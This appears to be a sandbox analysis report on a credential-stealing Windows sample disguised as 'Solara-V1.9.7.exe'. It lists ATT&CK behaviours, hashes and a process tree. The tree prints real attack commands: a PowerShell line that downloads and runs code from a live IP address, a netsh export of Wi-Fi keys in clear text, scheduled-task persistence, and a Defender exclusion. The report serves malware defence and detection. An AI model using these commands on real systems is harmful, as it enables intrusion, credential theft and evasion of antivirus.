9c37e39fc56c00e762fb652cfe61e1724f1f44e1240196987dc4f6cb4c001d6e

Analysis

max time kernel
151s
max time network
149s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
18/07/2026, 10:05

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Solara-V1.9.7.exe
Size 34.4MB
Sample260718-l4jllaa12v
SHA256 9c37e39fc56c00e762fb652cfe61e1724f1f44e1240196987dc4f6cb4c001d6e
MD5 99d4bcb6a5f14e2c009f60f00643020a
SHA1 b012160499c5176712dbdf5f0715b71e3795a056
SHA512 e4d8f61f3b881838e4e067792fd78ffe43d15fa1c98f721b4889065671ba0d97bb41ea2a9a486b4860e777f536736210a785d2696c1b7f3743311416a4014820
SSDEEP 49152:xVsvYhQz3dcYDWhvZzyJNfwoqkSejP0+6NiwI57RRaBxMaOp:IvYhQztcEYyJdwoqk3s9krNv
TLSH
T11F87D0A59E0EC80FDBAE4FB268D162513C751D68FF28E2875877B4A035F7058AD430E9
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

collection costura discovery execution packer persistence privilege_escalation spyware stealer

Malware Config

Signatures

Badlisted process makes network request 4 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
11	4616	powershell.exe
12	4616	powershell.exe
19	3436	powershell.exe
20	3436	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
3436	powershell.exe
4616	powershell.exe
1904	powershell.exe

Downloads MZ/PE file 2 IoCs

flow	pid	Process
12	4616	powershell.exe
20	3436	powershell.exe

Executes dropped EXE 6 IoCs

pid	Process
4344	ShellHost.exe
5480	ShellHost.exe
1328	DiagnosticSvc.exe
4544	myfile.exe
1432	NvContainer.exe
5716	myfile.exe

Reads WinSCP keys stored on the system 2 TTPs
Tries to access WinSCP stored sessions.
spyware stealer

Data from Local System
T1005

Credentials in Registry
T1552.002
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	ShellHost.exe
Key opened	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	ShellHost.exe
Key opened	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	ShellHost.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Suspicious use of NtSetInformationThreadHideFromDebugger 8 IoCs

pid	Process
4260	Solara-V1.9.7.exe
4260	Solara-V1.9.7.exe
4344	ShellHost.exe
4344	ShellHost.exe
5480	ShellHost.exe
5480	ShellHost.exe
1328	DiagnosticSvc.exe
1328	DiagnosticSvc.exe

Costura .NET executable packer 1 IoCs

Costura packer aka Costura Fody, is an add-in for the .NET framework that embeds all external dependency .dll files as resources inside main executable.

costura packer

resource	yara_rule
behavioral2/files/0x000d00000001c5b9-7.dat	costura

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 3 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1320	cmd.exe
5052	cmd.exe
3508	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 25 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Solara-V1.9.7.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ShellHost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ShellHost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	DiagnosticSvc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 1 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
3492	netsh.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	ShellHost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	ShellHost.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\Local Settings	cmd.exe
Key created	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\Local Settings	cmd.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 16 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1784	schtasks.exe
2688	schtasks.exe
1348	schtasks.exe
964	schtasks.exe
4160	schtasks.exe
2636	schtasks.exe
5368	schtasks.exe
3964	schtasks.exe
3924	schtasks.exe
5776	schtasks.exe
3052	schtasks.exe
2596	schtasks.exe
5580	schtasks.exe
5384	schtasks.exe
4948	schtasks.exe
5824	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4260	Solara-V1.9.7.exe
4260	Solara-V1.9.7.exe
4260	Solara-V1.9.7.exe
4344	ShellHost.exe
4344	ShellHost.exe
4344	ShellHost.exe
4344	ShellHost.exe
5480	ShellHost.exe
5480	ShellHost.exe
4344	ShellHost.exe
4344	ShellHost.exe
1328	DiagnosticSvc.exe
1328	DiagnosticSvc.exe
1328	DiagnosticSvc.exe
1328	DiagnosticSvc.exe
4344	ShellHost.exe
4344	ShellHost.exe
4344	ShellHost.exe
4344	ShellHost.exe
4344	ShellHost.exe
1328	DiagnosticSvc.exe
4344	ShellHost.exe
4344	ShellHost.exe
4344	ShellHost.exe
4344	ShellHost.exe
4344	ShellHost.exe
4344	ShellHost.exe
4344	ShellHost.exe
1328	DiagnosticSvc.exe
4344	ShellHost.exe
4344	ShellHost.exe
4344	ShellHost.exe
4344	ShellHost.exe
4344	ShellHost.exe
4344	ShellHost.exe
4344	ShellHost.exe
4344	ShellHost.exe
4344	ShellHost.exe
1328	DiagnosticSvc.exe
4344	ShellHost.exe
4344	ShellHost.exe
4344	ShellHost.exe
4344	ShellHost.exe
4344	ShellHost.exe
4344	ShellHost.exe
1328	DiagnosticSvc.exe
4344	ShellHost.exe
4344	ShellHost.exe
4344	ShellHost.exe
4344	ShellHost.exe
4344	ShellHost.exe
4344	ShellHost.exe
4344	ShellHost.exe
1328	DiagnosticSvc.exe
4344	ShellHost.exe
4344	ShellHost.exe
4344	ShellHost.exe
4344	ShellHost.exe
4344	ShellHost.exe
4344	ShellHost.exe
4344	ShellHost.exe
4344	ShellHost.exe
1328	DiagnosticSvc.exe
4344	ShellHost.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4260	Solara-V1.9.7.exe
Token: SeDebugPrivilege	4344	ShellHost.exe
Token: SeDebugPrivilege	4344	ShellHost.exe
Token: SeDebugPrivilege	5480	ShellHost.exe
Token: SeDebugPrivilege	1328	DiagnosticSvc.exe
Token: SeDebugPrivilege	1328	DiagnosticSvc.exe
Token: SeDebugPrivilege	1328	DiagnosticSvc.exe
Token: SeDebugPrivilege	1328	DiagnosticSvc.exe
Token: SeDebugPrivilege	1328	DiagnosticSvc.exe
Token: SeDebugPrivilege	1328	DiagnosticSvc.exe
Token: SeDebugPrivilege	1328	DiagnosticSvc.exe
Token: SeDebugPrivilege	1328	DiagnosticSvc.exe
Token: SeDebugPrivilege	1328	DiagnosticSvc.exe
Token: SeDebugPrivilege	4344	ShellHost.exe
Token: SeDebugPrivilege	4344	ShellHost.exe
Token: SeDebugPrivilege	1328	DiagnosticSvc.exe
Token: SeDebugPrivilege	1328	DiagnosticSvc.exe
Token: SeDebugPrivilege	1328	DiagnosticSvc.exe
Token: SeDebugPrivilege	1328	DiagnosticSvc.exe
Token: SeDebugPrivilege	1328	DiagnosticSvc.exe
Token: SeDebugPrivilege	1328	DiagnosticSvc.exe
Token: SeDebugPrivilege	1328	DiagnosticSvc.exe
Token: SeDebugPrivilege	1328	DiagnosticSvc.exe
Token: SeDebugPrivilege	1328	DiagnosticSvc.exe
Token: SeDebugPrivilege	1328	DiagnosticSvc.exe
Token: SeDebugPrivilege	1328	DiagnosticSvc.exe
Token: SeDebugPrivilege	1328	DiagnosticSvc.exe
Token: SeDebugPrivilege	1328	DiagnosticSvc.exe
Token: SeDebugPrivilege	1328	DiagnosticSvc.exe
Token: SeDebugPrivilege	1328	DiagnosticSvc.exe
Token: SeDebugPrivilege	1328	DiagnosticSvc.exe
Token: SeDebugPrivilege	1328	DiagnosticSvc.exe
Token: SeDebugPrivilege	1328	DiagnosticSvc.exe
Token: SeDebugPrivilege	1328	DiagnosticSvc.exe
Token: SeDebugPrivilege	4344	ShellHost.exe
Token: SeDebugPrivilege	1328	DiagnosticSvc.exe
Token: SeDebugPrivilege	1328	DiagnosticSvc.exe
Token: SeDebugPrivilege	1328	DiagnosticSvc.exe
Token: SeDebugPrivilege	1328	DiagnosticSvc.exe
Token: SeDebugPrivilege	1328	DiagnosticSvc.exe
Token: SeDebugPrivilege	1328	DiagnosticSvc.exe
Token: SeDebugPrivilege	1328	DiagnosticSvc.exe
Token: SeDebugPrivilege	1328	DiagnosticSvc.exe
Token: SeDebugPrivilege	1328	DiagnosticSvc.exe
Token: SeDebugPrivilege	1328	DiagnosticSvc.exe
Token: SeDebugPrivilege	1328	DiagnosticSvc.exe
Token: SeDebugPrivilege	1328	DiagnosticSvc.exe
Token: SeDebugPrivilege	1328	DiagnosticSvc.exe
Token: SeDebugPrivilege	1328	DiagnosticSvc.exe
Token: SeDebugPrivilege	1328	DiagnosticSvc.exe
Token: SeDebugPrivilege	1328	DiagnosticSvc.exe
Token: SeDebugPrivilege	1328	DiagnosticSvc.exe
Token: SeDebugPrivilege	1328	DiagnosticSvc.exe
Token: SeDebugPrivilege	1328	DiagnosticSvc.exe
Token: SeDebugPrivilege	1328	DiagnosticSvc.exe
Token: SeDebugPrivilege	1328	DiagnosticSvc.exe
Token: SeDebugPrivilege	1328	DiagnosticSvc.exe
Token: SeDebugPrivilege	1328	DiagnosticSvc.exe
Token: SeDebugPrivilege	1328	DiagnosticSvc.exe
Token: SeDebugPrivilege	1328	DiagnosticSvc.exe
Token: SeDebugPrivilege	1328	DiagnosticSvc.exe
Token: SeDebugPrivilege	1328	DiagnosticSvc.exe
Token: SeDebugPrivilege	1328	DiagnosticSvc.exe
Token: SeDebugPrivilege	1328	DiagnosticSvc.exe

Suspicious use of WriteProcessMemory 29 IoCs

description	pid	Process	procid_target
PID 4260 wrote to memory of 4344	4260	Solara-V1.9.7.exe	89
PID 4344 wrote to memory of 2596	4344	ShellHost.exe	90
PID 4344 wrote to memory of 1328	4344	ShellHost.exe	94
PID 4344 wrote to memory of 5024	4344	ShellHost.exe	96
PID 4344 wrote to memory of 3492	4344	ShellHost.exe	98
PID 4344 wrote to memory of 1784	4344	ShellHost.exe	100
PID 4344 wrote to memory of 2636	4344	ShellHost.exe	102
PID 4344 wrote to memory of 964	4344	ShellHost.exe	105
PID 4344 wrote to memory of 5580	4344	ShellHost.exe	107
PID 4344 wrote to memory of 5384	4344	ShellHost.exe	109
PID 4344 wrote to memory of 1320	4344	ShellHost.exe	111
PID 1320 wrote to memory of 4616	1320	cmd.exe	113
PID 4344 wrote to memory of 4160	4344	ShellHost.exe	115
PID 4616 wrote to memory of 4544	4616	powershell.exe	117
PID 4544 wrote to memory of 5052	4544	myfile.exe	118
PID 4544 wrote to memory of 1904	4544	myfile.exe	120
PID 5052 wrote to memory of 5368	5052	cmd.exe	122
PID 4544 wrote to memory of 1432	4544	myfile.exe	124
PID 4344 wrote to memory of 4948	4344	ShellHost.exe	125
PID 4344 wrote to memory of 2688	4344	ShellHost.exe	127
PID 4344 wrote to memory of 3964	4344	ShellHost.exe	129
PID 4344 wrote to memory of 3924	4344	ShellHost.exe	131
PID 4344 wrote to memory of 1348	4344	ShellHost.exe	133
PID 4344 wrote to memory of 3508	4344	ShellHost.exe	135
PID 3508 wrote to memory of 3436	3508	cmd.exe	137
PID 4344 wrote to memory of 5776	4344	ShellHost.exe	138
PID 3436 wrote to memory of 5716	3436	powershell.exe	140
PID 4344 wrote to memory of 5824	4344	ShellHost.exe	141
PID 4344 wrote to memory of 3052	4344	ShellHost.exe	143

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	ShellHost.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	ShellHost.exe

C:\Users\Admin\AppData\Local\Temp\Solara-V1.9.7.exe
"C:\Users\Admin\AppData\Local\Temp\Solara-V1.9.7.exe"
1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4260
- C:\Users\Admin\AppData\Local\Adobe\Services\ShellHost.exe
  "C:\Users\Admin\AppData\Local\Adobe\Services\ShellHost.exe"
  2⤵
  - Executes dropped EXE
  - Accesses Microsoft Outlook profiles
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Checks processor information in registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  - outlook_office_path
  - outlook_win_path
  PID:4344
- - C:\Windows\SysWOW64\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /create /tn "ShellHostUpdate" /tr "'C:\Users\Admin\AppData\Local\Adobe\Services\ShellHost.exe'" /sc onlogon /rl HIGHEST /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:2596
- - C:\Users\Admin\AppData\Roaming\Mozilla\DiagnosticSvc.exe
    "C:\Users\Admin\AppData\Roaming\Mozilla\DiagnosticSvc.exe" --watchdog 4344
    3⤵
    - Executes dropped EXE
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1328
- - C:\Windows\SysWOW64\netsh.exe
    "netsh" wlan export profile key=clear folder="C:\Users\Admin\AppData\Local\Temp\Client.KrampusWifiExport_f4d56d0f590d451a9911f6241a682502"
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    - System Location Discovery: System Language Discovery
    PID:5024
- - C:\Windows\SysWOW64\netsh.exe
    "netsh" wlan show profiles
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    - System Location Discovery: System Language Discovery
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:3492
- - C:\Windows\SysWOW64\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /create /tn "ShellHostUpdate" /tr "'C:\Users\Admin\AppData\Local\Adobe\Services\ShellHost.exe'" /sc onlogon /rl HIGHEST /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:1784
- - C:\Windows\SysWOW64\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /create /tn "ShellHostUpdate" /tr "'C:\Users\Admin\AppData\Local\Adobe\Services\ShellHost.exe'" /sc onlogon /rl HIGHEST /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:2636
- - C:\Windows\SysWOW64\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /create /tn "ShellHostUpdate" /tr "'C:\Users\Admin\AppData\Local\Adobe\Services\ShellHost.exe'" /sc onlogon /rl HIGHEST /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:964
- - C:\Windows\SysWOW64\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /create /tn "ShellHostUpdate" /tr "'C:\Users\Admin\AppData\Local\Adobe\Services\ShellHost.exe'" /sc onlogon /rl HIGHEST /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:5580
- - C:\Windows\SysWOW64\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /create /tn "ShellHostUpdate" /tr "'C:\Users\Admin\AppData\Local\Adobe\Services\ShellHost.exe'" /sc onlogon /rl HIGHEST /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:5384
- - C:\Windows\SysWOW64\cmd.exe
    "cmd.exe" /c start "" "" & powershell -NoProfile -Command "iex (Invoke-WebRequest -Uri 'http://2.27.63.222:5406/test.txt').Content" & rem ""
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Modifies registry class
    - Suspicious use of WriteProcessMemory
    PID:1320
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -Command "iex (Invoke-WebRequest -Uri 'http://2.27.63.222:5406/test.txt').Content"
      4⤵
      Badlisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Downloads MZ/PE file
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4616
    - - C:\Users\Admin\AppData\Local\Temp\myfile.exe
        
        "C:\Users\Admin\AppData\Local\Temp\myfile.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:4544
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc minute /mo 5 /tn "NVIDIA App SelfUpdate" /tr "\"C:\Users\Admin\AppData\Local\NVIDIA Corporation\NVIDIA App\NvContainer.exe\"" /rl highest & exit
        6⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:5052
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc minute /mo 5 /tn "NVIDIA App SelfUpdate" /tr "\"C:\Users\Admin\AppData\Local\NVIDIA Corporation\NVIDIA App\NvContainer.exe\"" /rl highest
        7⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:5368
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\NVIDIA Corporation\NVIDIA App\NvContainer.exe""
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1904
      - C:\Users\Admin\AppData\Local\NVIDIA Corporation\NVIDIA App\NvContainer.exe
        
        "C:\Users\Admin\AppData\Local\NVIDIA Corporation\NVIDIA App\NvContainer.exe"
        6⤵
        Executes dropped EXE
        
        PID:1432
- - C:\Windows\SysWOW64\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /create /tn "ShellHostUpdate" /tr "'C:\Users\Admin\AppData\Local\Adobe\Services\ShellHost.exe'" /sc onlogon /rl HIGHEST /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:4160
- - C:\Windows\SysWOW64\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /create /tn "ShellHostUpdate" /tr "'C:\Users\Admin\AppData\Local\Adobe\Services\ShellHost.exe'" /sc onlogon /rl HIGHEST /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:4948
- - C:\Windows\SysWOW64\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /create /tn "ShellHostUpdate" /tr "'C:\Users\Admin\AppData\Local\Adobe\Services\ShellHost.exe'" /sc onlogon /rl HIGHEST /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:2688
- - C:\Windows\SysWOW64\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /create /tn "ShellHostUpdate" /tr "'C:\Users\Admin\AppData\Local\Adobe\Services\ShellHost.exe'" /sc onlogon /rl HIGHEST /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:3964
- - C:\Windows\SysWOW64\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /create /tn "ShellHostUpdate" /tr "'C:\Users\Admin\AppData\Local\Adobe\Services\ShellHost.exe'" /sc onlogon /rl HIGHEST /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:3924
- - C:\Windows\SysWOW64\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /create /tn "ShellHostUpdate" /tr "'C:\Users\Admin\AppData\Local\Adobe\Services\ShellHost.exe'" /sc onlogon /rl HIGHEST /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:1348
- - C:\Windows\SysWOW64\cmd.exe
    "cmd.exe" /c start "" "" & powershell -NoProfile -Command "iex (Invoke-WebRequest -Uri 'http://2.27.63.222:5406/test.txt').Content" & rem ""
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Modifies registry class
    - Suspicious use of WriteProcessMemory
    PID:3508
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -Command "iex (Invoke-WebRequest -Uri 'http://2.27.63.222:5406/test.txt').Content"
      4⤵
      Badlisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Downloads MZ/PE file
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3436
    - - C:\Users\Admin\AppData\Local\Temp\myfile.exe
        
        "C:\Users\Admin\AppData\Local\Temp\myfile.exe"
        5⤵
        Executes dropped EXE
        
        PID:5716
- - C:\Windows\SysWOW64\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /create /tn "ShellHostUpdate" /tr "'C:\Users\Admin\AppData\Local\Adobe\Services\ShellHost.exe'" /sc onlogon /rl HIGHEST /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:5776
- - C:\Windows\SysWOW64\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /create /tn "ShellHostUpdate" /tr "'C:\Users\Admin\AppData\Local\Adobe\Services\ShellHost.exe'" /sc onlogon /rl HIGHEST /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:5824
- - C:\Windows\SysWOW64\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /create /tn "ShellHostUpdate" /tr "'C:\Users\Admin\AppData\Local\Adobe\Services\ShellHost.exe'" /sc onlogon /rl HIGHEST /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:3052

C:\Users\Admin\AppData\Local\Adobe\Services\ShellHost.exe
"C:\Users\Admin\AppData\Local\Adobe\Services\ShellHost.exe"
1⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5480

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:1632

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Credentials in Registry

T1552.002

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Wi-Fi Discovery

T1016.002

Lateral Movement

Collection

Data from Local System

T1005

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

ShellHost.exe

Path C:\Users\Admin\AppData\Local\Adobe\Services\ShellHost.exe
Size 34.4MB
SHA256 9c37e39fc56c00e762fb652cfe61e1724f1f44e1240196987dc4f6cb4c001d6e
MD5 99d4bcb6a5f14e2c009f60f00643020a
SHA1 b012160499c5176712dbdf5f0715b71e3795a056
SHA512 e4d8f61f3b881838e4e067792fd78ffe43d15fa1c98f721b4889065671ba0d97bb41ea2a9a486b4860e777f536736210a785d2696c1b7f3743311416a4014820
SSDEEP 49152:xVsvYhQz3dcYDWhvZzyJNfwoqkSejP0+6NiwI57RRaBxMaOp:IvYhQztcEYyJdwoqk3s9krNv
TLSH
T11F87D0A59E0EC80FDBAE4FB268D162513C751D68FF28E2875877B4A035F7058AD430E9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 17KB
SHA256 4491842bc250722aa38fb57fbddf413ee341c5ad9902c169af14f5afb1fe3f74
